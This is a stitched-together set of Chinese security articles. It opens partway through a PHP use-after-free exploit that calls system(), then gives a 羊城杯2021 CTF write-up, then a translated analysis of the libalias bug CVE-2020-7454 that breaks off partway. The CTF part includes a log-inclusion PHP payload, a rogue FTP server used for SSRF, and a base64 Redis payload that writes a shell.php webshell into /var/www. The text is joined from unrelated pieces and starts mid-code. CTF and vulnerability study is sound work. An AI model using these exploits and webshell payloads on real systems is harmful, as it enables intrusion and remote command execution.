$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
?>
将这个上传到服务器，就能执行命令了，访问就得到了`flag`。
flag{4424232f-959f-4923-b693-cd9b3e7e316f} | 社区文章 |
# 羊城杯2021-WP
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## WEB
### 0x01 only 4
包含日志文件，一把出flag
/?gwht=/proc/self/fd/8&ycb=<?php system("cat /flag");?>
### 0x02 checkin go
用的gin框架
一开始一直找secretkey
发现用的伪随机数，本地起服务直接构造session
登陆后，在/game路由加
无符号32位数最大为 4294967295
只需加上4294967296-200000即会发生溢出变成0.买flag
### 0x03 cross the site
查看guoke哥哥的博客 发现他之前对于lar的解析，贴上脚本。ssrf 打ftp被动模式，打redis。需要vpn才能打的题居然自己可以出外网 震惊！！
坑了我好久
import socket
def get(conn):
conn.send("220 (vsFTPd 3.0.3)\n")
print conn.recv(200)
conn.send("331 Please specify the password.\n")
print conn.recv(200)
conn.send("230 Login successful.\n")
print conn.recv(200)
conn.send("200 Switching to Binary mode.\n")
print conn.recv(200)
conn.send("213 3\n")
print conn.recv(200)
conn.send("229 Entering Extended Passive Mode (|||1337|)\n")
print conn.recv(200)
conn.send("150 Opening BINARY mode data connection for /test/test.php (3 bytes).\n")
conn.send("226 Transfer complete.\n")
print conn.recv(200)
conn.send("221 Goodbye.\n")
conn.close()
def put(conn):
conn.send("220 (vsFTPd 3.0.3)\n");
print conn.recv(20)
conn.send("331 Please specify the password.\n");
print conn.recv(20)
conn.send("230 Login successful.\n")
print conn.recv(20)
conn.send("200 Switching to Binary mode.\n");
print conn.recv(20)
conn.send("550 Could not get file size.\n");
print conn.recv(20)
conn.send("227 127,0,0,1,24,235\n")
print conn.recv(20)
conn.send("227 127,0,0,1,24,235\n")
print conn.recv(20)
conn.send("150 Ok to send data.\n")
conn.send("226 Transfer complete.\n")
print conn.recv(20)
conn.send("221 Goodbye.\n");
conn.close()
host = '0.0.0.0'
port = 22
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
conn,address = sk.accept()
get(conn)
conn,address=sk.accept()
put(conn)
import socket
import base64
host = '0.0.0.0'
port = 1337
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
conn,address = sk.accept()
conn.send(base64.b64decode("KjENCiQ4DQpmbHVzaGFsbA0KKjMNCiQzDQpzZXQNCiQxDQoxDQokMzQNCgoKPD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+CgoNCio0DQokNg0KY29uZmlnDQokMw0Kc2V0DQokMw0KZGlyDQokOA0KL3Zhci93d3cNCio0DQokNg0KY29uZmlnDQokMw0Kc2V0DQokMTANCmRiZmlsZW5hbWUNCiQ5DQpzaGVsbC5waHANCioxDQokNA0Kc2F2ZQ0KCg=="))
conn.close()
然后一把索了。
### 0x04 no sql
只能说是个nday，找一找，扫描后台有back.zip
<http://cn-sec.com/archives/335315.html>
复现之后 拿到文件， 然后再弹个shell，有一个超级无敌套娃，一直进去，flag在tmp目录。
## Crypto
### 0x01 mis
#!/usr/bin/env python3
import os
from Crypto import Random
S_BOX = [
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16,]
RCON_BOX = [
0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a,
0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39,
0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a,
0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8,
0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef,
0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc,
0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b,
0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3,
0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94,
0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20,
0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35,
0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f,
0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04,
0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63,
0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd,
0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d]
GF_MULT_1 = [
0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f,
0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18,0x19,0x1a,0x1b,0x1c,0x1d,0x1e,0x1f,
0x20,0x21,0x22,0x23,0x24,0x25,0x26,0x27,0x28,0x29,0x2a,0x2b,0x2c,0x2d,0x2e,0x2f,
0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3a,0x3b,0x3c,0x3d,0x3e,0x3f,
0x40,0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x4e,0x4f,
0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x5a,0x5b,0x5c,0x5d,0x5e,0x5f,
0x60,0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6a,0x6b,0x6c,0x6d,0x6e,0x6f,
0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x77,0x78,0x79,0x7a,0x7b,0x7c,0x7d,0x7e,0x7f,
0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8a,0x8b,0x8c,0x8d,0x8e,0x8f,
0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9a,0x9b,0x9c,0x9d,0x9e,0x9f,
0xa0,0xa1,0xa2,0xa3,0xa4,0xa5,0xa6,0xa7,0xa8,0xa9,0xaa,0xab,0xac,0xad,0xae,0xaf,
0xb0,0xb1,0xb2,0xb3,0xb4,0xb5,0xb6,0xb7,0xb8,0xb9,0xba,0xbb,0xbc,0xbd,0xbe,0xbf,
0xc0,0xc1,0xc2,0xc3,0xc4,0xc5,0xc6,0xc7,0xc8,0xc9,0xca,0xcb,0xcc,0xcd,0xce,0xcf,
0xd0,0xd1,0xd2,0xd3,0xd4,0xd5,0xd6,0xd7,0xd8,0xd9,0xda,0xdb,0xdc,0xdd,0xde,0xdf,
0xe0,0xe1,0xe2,0xe3,0xe4,0xe5,0xe6,0xe7,0xe8,0xe9,0xea,0xeb,0xec,0xed,0xee,0xef,
0xf0,0xf1,0xf2,0xf3,0xf4,0xf5,0xf6,0xf7,0xf8,0xf9,0xfa,0xfb,0xfc,0xfd,0xfe,0xff]
GF_MULT_2 = [
0x00,0x02,0x04,0x06,0x08,0x0a,0x0c,0x0e,0x10,0x12,0x14,0x16,0x18,0x1a,0x1c,0x1e,
0x20,0x22,0x24,0x26,0x28,0x2a,0x2c,0x2e,0x30,0x32,0x34,0x36,0x38,0x3a,0x3c,0x3e,
0x40,0x42,0x44,0x46,0x48,0x4a,0x4c,0x4e,0x50,0x52,0x54,0x56,0x58,0x5a,0x5c,0x5e,
0x60,0x62,0x64,0x66,0x68,0x6a,0x6c,0x6e,0x70,0x72,0x74,0x76,0x78,0x7a,0x7c,0x7e,
0x80,0x82,0x84,0x86,0x88,0x8a,0x8c,0x8e,0x90,0x92,0x94,0x96,0x98,0x9a,0x9c,0x9e,
0xa0,0xa2,0xa4,0xa6,0xa8,0xaa,0xac,0xae,0xb0,0xb2,0xb4,0xb6,0xb8,0xba,0xbc,0xbe,
0xc0,0xc2,0xc4,0xc6,0xc8,0xca,0xcc,0xce,0xd0,0xd2,0xd4,0xd6,0xd8,0xda,0xdc,0xde,
0xe0,0xe2,0xe4,0xe6,0xe8,0xea,0xec,0xee,0xf0,0xf2,0xf4,0xf6,0xf8,0xfa,0xfc,0xfe,
0x1b,0x19,0x1f,0x1d,0x13,0x11,0x17,0x15,0x0b,0x09,0x0f,0x0d,0x03,0x01,0x07,0x05,
0x3b,0x39,0x3f,0x3d,0x33,0x31,0x37,0x35,0x2b,0x29,0x2f,0x2d,0x23,0x21,0x27,0x25,
0x5b,0x59,0x5f,0x5d,0x53,0x51,0x57,0x55,0x4b,0x49,0x4f,0x4d,0x43,0x41,0x47,0x45,
0x7b,0x79,0x7f,0x7d,0x73,0x71,0x77,0x75,0x6b,0x69,0x6f,0x6d,0x63,0x61,0x67,0x65,
0x9b,0x99,0x9f,0x9d,0x93,0x91,0x97,0x95,0x8b,0x89,0x8f,0x8d,0x83,0x81,0x87,0x85,
0xbb,0xb9,0xbf,0xbd,0xb3,0xb1,0xb7,0xb5,0xab,0xa9,0xaf,0xad,0xa3,0xa1,0xa7,0xa5,
0xdb,0xd9,0xdf,0xdd,0xd3,0xd1,0xd7,0xd5,0xcb,0xc9,0xcf,0xcd,0xc3,0xc1,0xc7,0xc5,
0xfb,0xf9,0xff,0xfd,0xf3,0xf1,0xf7,0xf5,0xeb,0xe9,0xef,0xed,0xe3,0xe1,0xe7,0xe5]
GF_MULT_3 = [
0x00,0x03,0x06,0x05,0x0c,0x0f,0x0a,0x09,0x18,0x1b,0x1e,0x1d,0x14,0x17,0x12,0x11,
0x30,0x33,0x36,0x35,0x3c,0x3f,0x3a,0x39,0x28,0x2b,0x2e,0x2d,0x24,0x27,0x22,0x21,
0x60,0x63,0x66,0x65,0x6c,0x6f,0x6a,0x69,0x78,0x7b,0x7e,0x7d,0x74,0x77,0x72,0x71,
0x50,0x53,0x56,0x55,0x5c,0x5f,0x5a,0x59,0x48,0x4b,0x4e,0x4d,0x44,0x47,0x42,0x41,
0xc0,0xc3,0xc6,0xc5,0xcc,0xcf,0xca,0xc9,0xd8,0xdb,0xde,0xdd,0xd4,0xd7,0xd2,0xd1,
0xf0,0xf3,0xf6,0xf5,0xfc,0xff,0xfa,0xf9,0xe8,0xeb,0xee,0xed,0xe4,0xe7,0xe2,0xe1,
0xa0,0xa3,0xa6,0xa5,0xac,0xaf,0xaa,0xa9,0xb8,0xbb,0xbe,0xbd,0xb4,0xb7,0xb2,0xb1,
0x90,0x93,0x96,0x95,0x9c,0x9f,0x9a,0x99,0x88,0x8b,0x8e,0x8d,0x84,0x87,0x82,0x81,
0x9b,0x98,0x9d,0x9e,0x97,0x94,0x91,0x92,0x83,0x80,0x85,0x86,0x8f,0x8c,0x89,0x8a,
0xab,0xa8,0xad,0xae,0xa7,0xa4,0xa1,0xa2,0xb3,0xb0,0xb5,0xb6,0xbf,0xbc,0xb9,0xba,
0xfb,0xf8,0xfd,0xfe,0xf7,0xf4,0xf1,0xf2,0xe3,0xe0,0xe5,0xe6,0xef,0xec,0xe9,0xea,
0xcb,0xc8,0xcd,0xce,0xc7,0xc4,0xc1,0xc2,0xd3,0xd0,0xd5,0xd6,0xdf,0xdc,0xd9,0xda,
0x5b,0x58,0x5d,0x5e,0x57,0x54,0x51,0x52,0x43,0x40,0x45,0x46,0x4f,0x4c,0x49,0x4a,
0x6b,0x68,0x6d,0x6e,0x67,0x64,0x61,0x62,0x73,0x70,0x75,0x76,0x7f,0x7c,0x79,0x7a,
0x3b,0x38,0x3d,0x3e,0x37,0x34,0x31,0x32,0x23,0x20,0x25,0x26,0x2f,0x2c,0x29,0x2a,
0x0b,0x08,0x0d,0x0e,0x07,0x04,0x01,0x02,0x13,0x10,0x15,0x16,0x1f,0x1c,0x19,0x1a]
def main():
AES_Key = Random.get_random_bytes(16)
# with open("flag.txt","rb") as f_in:
# flag = f_in.read()
flag=b'0123456789abcdef'
cipherText = AES_Encryption(flag, AES_Key,10)
with open("cipher1.txt","wb") as f_out:
f_out.write(cipherText)
def re_shiftRow(aesState):
resState = bytearray()
newPosition = [ 0, 0xd, 0xa, 0x7,4, 0x1, 0xe, 0xb,8, 0x5, 2, 0xf, 0xc, 9, 6, 0x3 ]
for i in newPosition:
resState.append(aesState[i])
return resState
def re_subWord(byteArray):
res = bytearray()
for b in byteArray:
for j in range(256):
if(S_BOX[j]==b):
res.append(j)
return res
def re_subBytes(aesState):
resState = bytearray()
for i in range(0,len(aesState),4):
resState[i:i+4] = re_subWord(aesState[i:i+4])
return resState
def xtime(a,count):
for i in range(0,count):
if a>>7==1:
a= (0xff&(a<<1))^0x1b
else:
a= a<<1
return a
def GF2multi(a,b):
index_of_1_list=[]
count=0
while b!=0:
if b&0x1==1:
index_of_1_list.append(count)
count+=1
b=b>>1
xtime_result_list=[]
for i in index_of_1_list:
xtime_result_list.append(xtime(a,i))
if(len(xtime_result_list)==0):
res=0
else:
res = xtime_result_list[0]
for i in range(1,len(xtime_result_list)):
res=res^xtime_result_list[i]
return res
p=[0xe,0xb,0xd,0x9,0x9,0xe,0xb,0xd,0xd,0x9,0xe,0xb,0xb,0xd,0x9,0xe]
def re_mixColumn(b):
res = bytearray()
for i in range(4):
for k in range(4):
r=0
for j in range(4):
# print(len(p),len(b))
r=r^GF2multi(p[k*4+j],b[4*i+j])
res.append(r)
return res
def re(c):
res=c
for i in range(9):
res=re_shiftRow(res)
res=re_subBytes(res)
res=re_mixColumn(res)
res=re_shiftRow(res)
res=re_subBytes(res)
return res
f=open("cipher.txt","rb").read()
c=bytearray(f)
# print(len(c))
print(re(c))
### Rsa?
由$X\equiv ((Z1+inv _{Z1})*inv_2)\ (mod\ n)以及a\equiv ((inv_ {Z1}-X)*inv _Y)\
(mod\ n)$得：
2X\equiv Z1+inv_{Z1}\ (mod\ n)\ \ \ \ \ \ (1)
X+aY\equiv inv_{Z1}\ (mod\ n)\ \ \ \ \ \ (2)
两式相减得：
X-aY\equiv Z1\ (mod\ n)\ \ \ \ \ \ (3)
(2)*(3)得：
X^2-a^2Y^2\equiv 1\ (mod\ n)
即:
X^2-DY^2\equiv 1\ (mod\ n)
这长得非常像佩尔方程的形式，不过是在模意义下的佩尔方程。同时，根据递推式也可判断应该是佩尔方程，佩尔方程的介绍见这篇文章[佩尔方程](https://zhuanlan.zhihu.com/p/365860557)，自己推了很久也没什么结果，然后去找论文，论文关键字：Pell
equation and Crypto。Google上第一篇论文[A PUBLIC KEY CRYPTOSYSTEM BASED ON PELL
EQUATION](%5B191.pdf%20\(iacr.org)]([https://eprint.iacr.org/2006/191.pdf))就讲了基于佩尔方程的密码系统，根据论文的解密过程：](https://eprint.iacr.org/2006/191.pdf\)\)%E5%B0%B1%E8%AE%B2%E4%BA%86%E5%9F%BA%E4%BA%8E%E4%BD%A9%E5%B0%94%E6%96%B9%E7%A8%8B%E7%9A%84%E5%AF%86%E7%A0%81%E7%B3%BB%E7%BB%9F%EF%BC%8C%E6%A0%B9%E6%8D%AE%E8%AE%BA%E6%96%87%E7%9A%84%E8%A7%A3%E5%AF%86%E8%BF%87%E7%A8%8B%EF%BC%9A)
1.计算$C\equiv f(C_x,C_y)\equiv C_x-aC_y\ (mod\ n)$
2.计算$M\equiv C^d\ (mod\ n)$，其中$d=invert(e,N)，N=lcm(p-1,q-1)$，这里我们用yafu可以很快分解n
3.计算$X\equiv (M+M^{-1})/2\ (mod\ n)和Y\equiv (M^{-1}-M)/(2a)\ (mod\
n)$，注意这里的除法应理解为乘逆元
4.Y即为所求
``\#yafu分解n得p,q`
`from gmpy2 import *`
`from Crypto.Util.number import *`
`p=115718235064789220654263009993128325569382592506655305434488398268608329541037`
`q=115718235064789220654263009993128324769382192706654302434478391267607309966379`
`C_x=5404548088049249951619519701935576492239293254135836357417714329205323074367876875480850741613547220698045360461761929952847796420174204143917852624050110`
`C_y=2110372753170830610718226848526649992911771424441223687775304654852191999130502986109306355582366065947895295520226816523397652918227241733632791793362785`
`a=1762039418842677123086894939949574689744108610561557889235294034870342076452734215004689409493802437034960516295735815195656138656970901855976802991519141`
`n=13390709926509813526471364597371124446888078365567927211781799241724742352679484983709219580483800891886832613684875066109177882219522305348565532970795023`
`C=(C_x-a*C_y)%n`
`N=(p-1)*(q-1)`
`e=65537`
`d=invert(e,N)`
`M=pow(C,d,n)`
`Y=((invert(M,n)-M)*invert(2*a,n))%n`
`print(long_to_bytes(Y))`
### BIg_RSA
发现n1,n2有公因数,随便解
from math import *
from Crytpo.Util.number import *
from gmpy2 import *
n1 = 103835296409081751860770535514746586815395898427260334325680313648369132661057840680823295512236948953370895568419721331170834557812541468309298819497267746892814583806423027167382825479157951365823085639078738847647634406841331307035593810712914545347201619004253602692127370265833092082543067153606828049061
n2 = 115383198584677147487556014336448310721853841168758012445634182814180314480501828927160071015197089456042472185850893847370481817325868824076245290735749717384769661698895000176441497242371873981353689607711146852891551491168528799814311992471449640014501858763495472267168224015665906627382490565507927272073
p=gcd(n1,n2)
q=n1//p
e=65537
phi=(p-1)*(q-1)
d=invert(e,phi)
flag=long_to_bytes(pow(c,d,n1))
print(flag)
## MISC
### 0x01 取证
得到raw文件,vol跑一下。cmdscan发现要找git账号，但是我们知道github现在支支持ssh文件登录，于是查找本地文件是否有跟ssh和git有关的内容,发现ssh.txt
拿到邮箱去GitHub搜索找到仓库，然后下载 **APP** 文件然后，找sangfor 编码之后的字符，找到并解码即可
### 0x02 赛博德国人
下载压缩包后，发现内容是德文，flag是正常的flag，而且通信的格式还原历史，传递密钥的方法为二战中后期改进的。流量包中间到处pdf和txt，密码d279186428a75016b17e4df5ea43d080230。然后找到根据信息调整好轮子，然后解密拿到德语，然后16进制。
### 0x03 MISC520
下载得到压缩包套娃,每个压缩保中间有个story文件.开始发现story内容都相同,没怎么在意.直接取出最后一张.lsb之后发现有隐藏文件。提取出flag.pcap,binwalk提出压缩包,爆破得到密码12345.得到flag.pcap,发现是鼠标流量,画图此时
然后发现有一个压缩包中有一个story有一个数字
得到一串数字,易知跟ASCII有关,并且知道flag头是GWHT{,分析。发现得到的数字与flag之间差了一个自己的所在位置.最后得到flag,换头即可)
flag = [72,89,75,88,128,93,58,116,76,121,120,63,108,130,63,111,94,51,134,119,146]
new = ''
for x in rang(len(flag)):
new = new + chr(flag[x] - x - 1)
print(new)
### 0x04 SignIN
拿到gif,发现每帧对应一个数字。然后md5加密即可
## Reverse
### 安卓
基本的安卓逆向，程序关键逻辑在activity层，用jeb打开，查看其关键逻辑
分析得关键为base64加密，而且base表通过服务器获得
服务器要对输入进行验证，验证成功才会发送base表
分析知，将输入进行md5加密后，每字节减一，再与固定值比对
直接cmd5解密，得到key为654321，之后进行base变表解密
得到flag为SangFor{212f4548-03d1-11ec-ab68-00155db3a27e}
### smc
动调调试，让程序自解密得到关键加密判断逻辑如下图所示：
由加密特征猜测是base64
与base64代码进行详细比对，发现就是将明文进行base64加密之后再分别与固定的0xa6,0xa3,0xa9,0xaf进行异或，之后直接从网上撸base变表脚本，得到flag为
SangFor{XSAYT0u5DQhaxveIR50X1U13M-pZK5A0}
### deltx
将文件拖入ida分析程序
动态调试程序发现输入应该为41位，然后将SangFor{}里面的数据分为八组，每组4byte
之后后面的判断实际都是判断相乘和相加的结果
直接列出方程在线解密
-v16 + v10 = -42564
v16*v10=614340037
得到v16 = 0xD2BF v10 = 0x2C7B
以此类推 得到flag为
SangFor{2C7BD2BF862564baED0B6B6EA94F15BC} | 社区文章 |
# CVE-2020-7454：Libalias库中的越界访问漏洞
##### 译文声明
本文是翻译文章，文章原作者 Lucas Leong，文章来源：thezdi.com
原文地址：<https://www.thezdi.com/blog/2020/6/29/cve-2020-7454-killing-two-systems-with-one-bug-in-libalias>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 绪论
2020年2月初，ZDI收到一份报告，报告中描述了Oracle
VirtualBox所使用的libalias数据包别名库中的越界访问漏洞。报告人是研究者Vishnu Dev
TJ，修复后分配的编号是[CVE-2020-7454](https://www.freebsd.org/security/advisories/FreeBSD-SA-20:12.libalias.asc)。分析报告时，我发现漏洞也存在于FreeBSD，本文将讨论VirtualBox和FreeBSD中的CVE-2020-7454漏洞，展示维护第三方库以及共享代码之难。
对于不熟悉libalias库的人，这里简要介绍一下。libalias是用于IP数据包[别名与解别名](https://www.kernel.org/doc/html/latest/networking/alias.html)（aliasing
and de-aliasing）的一个库，此外还用于地址伪装和NAT。既然有地址伪装和NAT的功能，就不难理解为何VirtualBox要使用这个库。不过，libalias源自FreeBSD，VirtualBox方面则维护着自己的libalias分支。不幸的是，本漏洞在两个版本上都有。它会导致FreeBSD内核模式和用户模式的越界访问。漏洞在VirtualBox
6.1.6和FreeBSD-SA-20:12中修复。
## 0x01 考察Oracle VirtualBox
以下分析基于VirtualBox 6.1.4。漏洞的根源在`AliasHandleUdpNbtNS()`函数中，该函数负责解析UDP
137端口上的NetBIOS名字服务数据包。以下是简化的相关代码：
AliasHandleUdpNbtNS(...)
{
/* ... 略 ... */
/* 计算UDP包数据长度 */
uh = (struct udphdr *)ip_next(pip);
nsh = (NbtNSHeader *)udp_next(uh);
p = (u_char *) (nsh + 1);
pmax = (char *)uh + ntohs(uh->uh_ulen); /* <--- (1) */
/* ... 略 ... */
if (ntohs(nsh->ancount) != 0) {
p = AliasHandleResource(
ntohs(nsh->ancount),
(NBTNsResource *) p,
pmax,
&nbtarg
);
}
/* ... 略 ... */
}
AliasHandleResource(..., char *pmax, ...)
{
/* ... 略 ... */
switch (ntohs(q->type)) {
case RR_TYPE_NB:
q = (NBTNsResource *) AliasHandleResourceNB(
q,
pmax,
nbtarg
);
break;
/* ... 略 ... */
}
在上面代码的(1)处，`uh_ulen`是UDP首部长度字段，是从不可信的客户机发来的，其最大值为0xFFFF。如果把uh_ulen的值设得很大，攻击者就可以产生过大的`pmax`值。而后，如果UDP包中含有应答资源记录（Answer
Resource Records），且类型为NetBIOS通用服务（NetBIOS General
Service），则执行会进入`theAliasHandleResourceNB()`函数：
AliasHandleResourceNB(..., char *pmax, ...)
{
/* ... 略 ... */
while (nb != NULL && bcount != 0) {
if ((char *)(nb + 1) > pmax) { /* <--- (2) */
nb = NULL;
break;
}
if (!bcmp(&nbtarg->oldaddr, &nb->addr, sizeof(struct in_addr))) { /* <--- (3) /
/* ... 略 ... */
nb->addr = nbtarg->newaddr; /* <--- (4) */
}
/* ... 略 ... */
nb = (NBTNsRNB *) ((u_char *) nb + SizeOfNsRNB);
}
}
在上面代码的(2)处，`while`循环试图寻找包中的旧地址，将其替换为新地址，直到`pmax`为止。因为`pmax`的值过大，所以(3)处发生了越界读。如果旧地址找到的话，在(4)处甚至可能越界写。
客户机上的攻击者可以构造不合理的UDP首部长度，以在主机上触发越界访问。UDP端口137在VirtualBox的默认配置下是打开的。为解决此问题，Oracle在上面第一份代码的(1)处[加入了](https://www.virtualbox.org/changeset/83597/vbox)UDP首部长度验证。
## 0x02 考察FreeBSD 12.1
如上所述，libalias库源自FreeBSD。分析Oracle
VirtualBox中的此漏洞时，我发现在使用`ipfw`做NAT时，此漏洞还影响到FreeBSD。`ipfw`包过滤器包含两种NAT方法：一种在内核，一种在用户空间。两种实现用的都是libalias提供的同一个函数。这就表示漏洞可在内核或者用户空间程序（`natd`）中触发，具体在哪取决于[NAT配置](https://www.freebsd.org/doc/handbook/firewalls-ipfw.html)。
以下是触发内核中的漏洞所需的FreeBSD 12.1相关配置：
/boot/loader.conf
alias_nbt_load="YES"
/etc/rc.conf
gateway_enable="YES"
firewall_enable="YES"
firewall_nat_enable="YES"
firewall_nat_interface="em0"
firewall_type="OPEN"
